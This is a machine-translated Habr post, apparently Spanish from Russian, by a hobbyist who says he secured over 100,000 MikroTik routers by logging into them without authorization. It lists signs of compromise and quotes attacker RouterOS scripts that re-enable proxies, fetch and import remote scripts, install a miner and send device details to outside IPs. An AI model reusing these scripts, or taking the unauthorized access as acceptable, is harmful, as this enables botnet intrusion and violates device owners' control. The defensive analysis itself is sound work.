¿Por qué los hackers Mikrotik y cómo escondí 100 mil RouterOS de una botnet?

RouterOS es una herramienta muy poderosa en manos de profesionales y profesionales responsables. Pero en manos de principiantes o de aquellos que hacen todo en "y así bajarse", Mikrotik comienza a vivir su propia vida y se convierte en un nodo de botnet.

En mayo de 2018, escribí un artículo con recomendaciones sobre cómo proteger mi Mikrotik .

Por extraño que parezca, todavía hay miles de enrutadores Mikrotik "abiertos" en la red y el ejército de la botnet se está reponiendo.

En mi tiempo libre del trabajo y el ocio, busqué dispositivos vulnerables en toda la red e hice ajustes de acuerdo con mis recomendaciones, es decir, agregué reglas de firewall que bloqueaban el acceso al enrutador no desde la red local. En los comentarios escribí información sobre la vulnerabilidad y dejé la dirección del canal de telegramas @router_os, donde podía hacer preguntas de interés (deberían haber aparecido en un administrador normal).



De mayo a hoy, "saqué" más de 100 mil dispositivos Mikrotik de las garras de una botnet.

Dado que no puedo hablar en MUM 2018 en Moscú , decidí publicar mi informe en habr.com

Hay muchos análisis en la red sobre cómo los hackers utilizan RouterOS (por ejemplo, aquí ). Pero mi artículo se basa personalmente en mi experiencia.

Administradores y su reacción


En todo el mundo, los administradores de enrutadores, tarde o temprano, descubrieron ese huevo de Pascua.



/ nota del sistema
/system note print
show-at-login: yes
note: I closed the vulnerability with a firewall. Please update RouterOS. You can say thanks on the WebMoney Z399578297824 or BTC 14qiYkk3nUgsdqQawiMLC1bUGDZWHowix1. My Telegram http://t.me/router_os


Más silenciosamente cubrió el agujero. Alguien no era demasiado flojo para escribirme "gracias". Pero había quienes se molestaban en voz alta por no entender.

Un especialista normal debe responder adecuadamente cuando indican su error.


Durante todo el tiempo, no más de 50 personas me escribieron ...

Como la reacción de los usuarios fue mínima, llegué a la conclusión de que la gran mayoría ni siquiera notará que algo anda mal en el enrutador. Por lo tanto, comencé a refinar mi script, que, además de las reglas del firewall, eliminará las puertas traseras que los atacantes conocen.

Es lógico que mi método no se adapte a todos. Pero aún no he encontrado un enfoque diferente para esta tarea.

Los hackers aman RouterOS


En la gran mayoría de los casos, terminé en un dispositivo que ya está infectado por alguien. Desafortunadamente, no comencé inmediatamente a analizar sus contenidos. Esto es lo que encontré y lo que será una señal segura de que su enrutador está comprometido.

Proxies web y calcetines


El uso más común del enrutador es a través de servidores proxy web y calcetines estándar. Si no los usa, pero están encendidos, simplemente apáguelos.

/ip proxy set enabled=no
/ip socks set enabled=no

Pero para apagarlo, el pirata informático agrega un script al programador, que el proxy se encenderá después de un tiempo:

/ script del sistema
/system scheduler
add interval=10m name="port 54321" on-event="port 54321" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon \
start-date=sep/02/2018 start-time=20:35:53
/system script
add name="port 54321" owner=gateway policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source="/\
ip firewall filter remove [/ip firewall filter find where comment ~ \"port\
\_[0-9]*\"];/ip socks set enabled=yes port=54321 max-connections=255 conne\
ction-idle-timeout=60;/ip socks access remove [/ip socks access find];/ip \
firewall filter add chain=input protocol=tcp port=54321 action=accept comm\
ent=\"port 54321\";/ip firewall filter move [/ip firewall filter find comm\
ent=\"port 54321\"] 1;"


Puede encontrar el archivo webproxy/error.html que el proxy le webproxy/error.html y, a su vez, llama al minero.

Los parámetros adicionales aparecen aquí:

/ip proxy access print
/ip socks access print


Script puede hacer cualquier cosa


El 90% de los Mikrotiks completos tienen scripts /system script y para ellos /system scheduler configura el programa de ejecución /system scheduler .

Según el cronograma, se descarga un script, que posteriormente se ejecuta.

Instalación minera
/system scheduler
add interval=11h name=upd113 on-event="/tool fetch url=http://gotan.bit:31415/\
01/error.html mode=http dst-path=webproxy/error.html" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:28:02
add interval=9h name=upd115 on-event=\
"/tool fetch url=http://gotan.bit:31415/01/u113.rsc mode=http" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:28:02
add interval=9h name=upd116 on-event="/import u113.rsc" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:28:12
add interval=1d name=Auto113 on-event="/system reboot" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:00:00
/system script
add name=script4_ owner=nivel2 policy=\
ftp,reboot,read,write,policy,test,password,sensitive source="/tool fetch a\
ddress=95.154.216.163 port=2008 src-path=/mikrotik.php mode=http keep-resu\
lt=no"


Otra versión del script, que luego de la aplicación intenta ocultarse parcialmente.
/system scheduler
add interval=11s name=MTIT on-event="/system script run MTIT" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=\
startup
add interval=25m name="DDNS Serv" on-event="/system script run iDDNS" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=\
startup
/system script
add name=MTIT owner=admin policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive source=\
"/ping 10.12.0.26 interface=ether4 count=10"
add name=iDDNS owner=admin policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive source=":global\
\_mac [/interface ethernet get 1 mac-address]\r\
\n:global port ([/ip service get winbox port].\"_\".[/ip socks get port].\
\"_\".[/ip proxy get port])\r\
\n:global info ([/ip socks get enabled].\"_\".[/ip proxy get enabled].\"_\
\".[/interface pptp-server server get enabled])\r\
\n:global cmd \"/\$mac/\$port/\$info/dns\"\r\
\n/tool fetch address=91.134.24.238 src-path=\$cmd mode=http dst-path=dns;\
:delay 3s\r\
\n/import dns;:delay 4s;/file remove dns"


Por lo tanto, los atacantes siempre tienen la oportunidad de "alimentar" un nuevo script y, por ejemplo, realizar un ataque DDOS a gran escala.

Las secuencias de comandos se pueden ocultar en todas partes



Por lo tanto, revise estos lugares cuidadosamente. En un RouterOS limpio, estos lugares están vacíos.

DST-NAT


Para mi gran sorpresa, pero hay muchos de esos dispositivos en los que el tráfico se envuelve a través de /ip firewall nat .

Spam en dst-nat

/ip firewall nat
add action=masquerade chain=srcnat comment="default configuration"
add action=masquerade chain=srcnat
add action=dst-nat chain=dstnat dst-port=4444 protocol=tcp to-addresses=\
91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-port=8008 protocol=tcp to-addresses=\
91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=8008 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=443 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=25 protocol=\
tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.39.52 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.39.186 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.89.69 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=79.137.82.70 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=79.137.82.104 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=92.222.72.197 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=92.222.180.118 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=151.80.59.84 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444


Una buena forma de ocultar tu IP real.

VPN


Como sin él. RouterOS puede recoger varios tipos de vpn, pero los piratas informáticos suelen utilizar pptp y L2TP.

Así que revisa la sección /ppp secret

Incluso si esta sección está vacía, los hackers astutos pueden iniciar sesión a través de Radius.
Verificación de registros /radius print
Si no configuró nada, entonces debería estar vacío. De lo contrario, vale la pena limpiarlo:
/radius remove numbers=[/radius find ]
Y prohibir el uso de radio
/ppp aaa set use-radius=no use-circuit-id-in-nas-port-id=no
Deshabilite el uso de Radius para la autorización en el dispositivo
/user aaa set use-radius=no

Si no usa vpn, deshabilítelo
/interface l2tp-server server set enabled=no
/interface pptp-server server set enabled=no
/interface sstp-server server set enabled=no


DNS estático


No fue sin fischig. En los enrutadores en / ip dns static, puede encontrar


Todo es muy simple: lleva la dirección de un sitio que conoce a la barra de direcciones, pero de hecho llega al servidor del atacante.

Eliminar contenido

/ip dns static remove numbers=[/ip dns static find]

Recorte de derechos de administrador



UPD: También hay un grupo de enrutadores donde el pirata informático cortó los derechos de administrador y comenzó los suyos con todos los derechos (por ejemplo, enrutador y cnt), o simplemente quita los derechos y actualiza el firmware a la última versión.



contenido / usuario en el primer caso
[router @ MikroTik]> / impresión de usuario
Banderas: X - deshabilitado
# NOMBRE DIRECCIÓN DEL GRUPO ÚLTIMO INICIADO SESIÓN
0 ;;; usuario predeterminado del sistema
admin admin sep / 18/2018 15:08:45
1 dima completo sep / 14/2018 19:54:00
2 enrutador completo sep / 26/2018 09:23:41

[router @ MikroTik]> / grupo de usuarios imprimir
0 name = "read" policy = local, telnet, ssh, reiniciar, leer, probar, winbox, contraseña, web, sniff, sensible, api, romon, tikapp ,! Ftp ,! Write ,! Policy ,! Dude skin = default

1 nombre = política de "escritura" = local, telnet, ssh, reiniciar, leer, escribir, probar, winbox, contraseña, web, sniff, sensible, api, romon, tikapp ,! Ftp ,! Policy ,! Dude skin = default

2 nombre = política "completa" = local, telnet, ssh, ftp, reiniciar, leer, escribir, política, prueba, winbox, contraseña, web, sniff, sensible, api, romon, dude, tikapp skin = default

3 name = "admin" policy = local, ftp, reiniciar, leer, escribir, probar, winbox, contraseña, web, sniff, sensible, api ,! Telnet ,! Ssh ,! Policy ,! Romon ,! Dude ,! Tikapp skin = predeterminado


Como una opción para resolver este problema: a través de netinstall, cambie a firmware vulnerable y use el exploit.

Sniffer de paquetes


Los colegas de Kaspersky Lab mencionaron el robo de tráfico al redirigirlo a un nodo desconocido.

Puedes apagarlo así:
/tool sniffer stop
/tool sniffer set streaming-enabled=no filter-ip-protocol="" filter-port="" filter-interface="" filter-stream=no


Problema de producto Mikrotik


No existen sistemas absolutamente seguros. Y la distribución masiva de los productos Mikrotik también implicó un estudio masivo de estos dispositivos.
Dado que la funcionalidad de RouterOS le permite realizar una gran cantidad de tareas, también es interesante para los hackers.

Debido al hecho de que el producto se está desarrollando de forma muy dinámica, la tasa de aparición de nuevos "agujeros" también es excelente. A pesar de esto, Mikrotik emite rápidamente parches para sus sistemas.

Salir


Hasta la fecha, la única solución correcta para proteger RouterOS es un firewall configurado correctamente, que funciona según el principio de "todo lo que claramente no está permitido está prohibido".
Y todo porque Mikrotik usa el firewall clásico de Linux, que ha sido perfeccionado por un ejército de especialistas durante años.

Si necesita acceso al dispositivo desde la red global, utilice el principio de " interrupción de puertos ". El principio "fail2ban" no siempre se justifica, ya que todavía detecta el dispositivo.

Soluciones globales


Modo Lamer


Como los dispositivos son muy baratos, los compran usuarios que no tienen conocimientos especiales. Mikrotik necesita desarrollar una interfaz "lamer", que tenga un número mínimo de configuraciones, como la mayoría de los enrutadores SOHO. Además, debería ser el valor predeterminado. Y el usuario debe habilitar el modo avanzado conscientemente por sí mismo. El "conjunto rápido" actual no es lo suficientemente bueno. Además, debido a la abundancia de botones, el usuario puede no notar esta función.

Analizador de errores


También requiere un módulo que analice la configuración actual para detectar posibles vulnerabilidades y notifique al usuario si cree que el enrutador puede estar comprometido. Este módulo debe cargar la "base de conocimiento" que los empleados de Mikrotik completan en base a errores comunes. Y en caso de vulnerabilidades graves, active el modo "emergencia".
Si pudiera sistematizar parte de las amenazas, entonces los desarrolladores y aún más ...

Cortafuegos - como un servicio de proveedores


El mercado de dispositivos "inteligentes" se está desarrollando rápidamente y están lejos de estar bien protegidos. La mayoría de las personas que los compran tampoco tienen conocimientos especiales para proteger sus dispositivos por su cuenta.

Por lo tanto, es hora de que los proveedores de Internet creen un servicio comercial para proteger dichos dispositivos. El usuario trillado en su cuenta indica qué puertos abrir desde Internet.
Los proveedores también pueden crear una base de datos centralizada de dispositivos existentes y sus necesidades normales. El usuario indica en la LC qué dispositivos está utilizando. En caso de comportamiento anormal de dicho dispositivo, notifique al usuario.
Creo que el mercado ya está maduro para tal servicio.

Este servicio tiene las siguientes ventajas:

  1. Para el proveedor, otro elemento de ingresos
  2. Reduce el tráfico espurio
  3. Reduce el reclutamiento de dispositivos a botnet
  4. Promoción del desarrollo de servicios inteligentes para el hogar
  5. Los usuarios ya no pueden molestarse con su seguridad.

Un poco sobre ti


Trataré de responder las preguntas que probablemente me harán.

  1. Trabajo en puestos no relacionados con Mikrotik y las redes en general.
  2. Sin embargo, tengo un certificado MTCNA.
  3. Mikrotik es mi hobby. Todo lo que hago, simplemente me gusta. Así que decir "por diversión".
  4. ¿Por qué no obtuve un trabajo por perfil? Los que compran mikrotik en nuestra ciudad no pueden pagar mucho ZP. Los que me pueden pagar digno comprar Cisco.
  5. En los comentarios sobre el firewall, indiqué mis billeteras, pero desde mayo me arrojaron solo alrededor de $ 40. Escribieron a telegramas de diferentes países, diciendo que no tienen wmz, pero de todos modos, "gracias".

PD:


Comparta su experiencia de qué otra manera los hackers pueden usar Mikrotik.

Source: https://habr.com/ru/post/es424433/


All Articles